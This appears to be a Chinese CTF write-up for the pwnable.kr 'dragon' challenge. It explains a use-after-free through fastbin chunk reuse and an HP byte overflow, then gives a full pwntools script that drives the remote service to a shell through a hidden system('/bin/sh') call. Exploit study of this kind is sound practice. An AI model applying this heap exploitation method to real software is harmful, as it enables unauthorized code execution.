Pwnable.kr

Dragon —— 堆之 uaf

开始堆的学习之旅。

　　uaf漏洞利用到了堆的管理中fastbin的特性，关于堆的各种分配方式参见堆之*bin理解

　　在SecretLevel函数中，发现了隐藏的system("/bin/sh")调用，虽然无法直接执行，但无疑会是后续进展中的有力武器。

　　在和恐龙战斗的函数结束部分，发现了free掉但没有置空的free(dragon)语句，而在对战胜利后恰有开辟相同大小的空间，并自主写入的部分，由此产生了uaf漏洞。

　　>>在将dragon的结构体free之后，所指的内存空间会“挂”在fastbin数组下等待下次调用，而没有置空的、原来指向被free空间的dragon指针仍然指向该空间，仍可以在函数中被使用，而之后v2申请的大小和被free的空间的大小相同，会优先从fastbin数组中“摘下来”，此时v2和dragon指针都指向同一块内存空间，所以可以通过对v2的输入和对dragon的调用，实现任意代码执行，所以只要将之前的system（“/bin/sh”）段的地址写入v2，就能获得shell

　　这个游戏无法通过正常操作获得胜利，但是龙的生命只有一个byte即最多达到127，不断增长的情况下就可能实现溢出导致生命为负，使用有无敌和回技能点的第一个英雄配合母龙很容易达到。

exp：

 #!/usr/bin/env python
 # -*-coding=utf-8-*-
 from pwn import *
 # context.log_level = 'debug'
 # io = process("./dragon")
 io = remote("pwnable.kr",9004)
 elf = ELF("./dragon")

 binsh = 0x804935c
 sys_addr = elf.symbols["system"]
 call_sys = 0x8048dbf
 # to pretend to be defeated at first
 io.recvuntil("night\n")
 io.sendline("")
 io.recvuntil("cible.\n")
 io.sendline("")
 io.recvuntil("cible.\n")
 io.sendline("")
 io.recvuntil("night\n")
 io.sendline("")
 # to track the mom dragon come out and make it overflow
 for i in range (4):
     io.recvuntil("ble.\n")
     io.sendline("")
     io.recvuntil("ble.\n")
     io.sendline("")
     io.recvuntil("ble.\n")
     io.sendline("")
 io.recvuntil("As:\n")
 # payload = p32(sys_addr) + p32(binsh)
 payload = p32(call_sys) + '\x00'*8
 io.send(payload)
 io.interactive()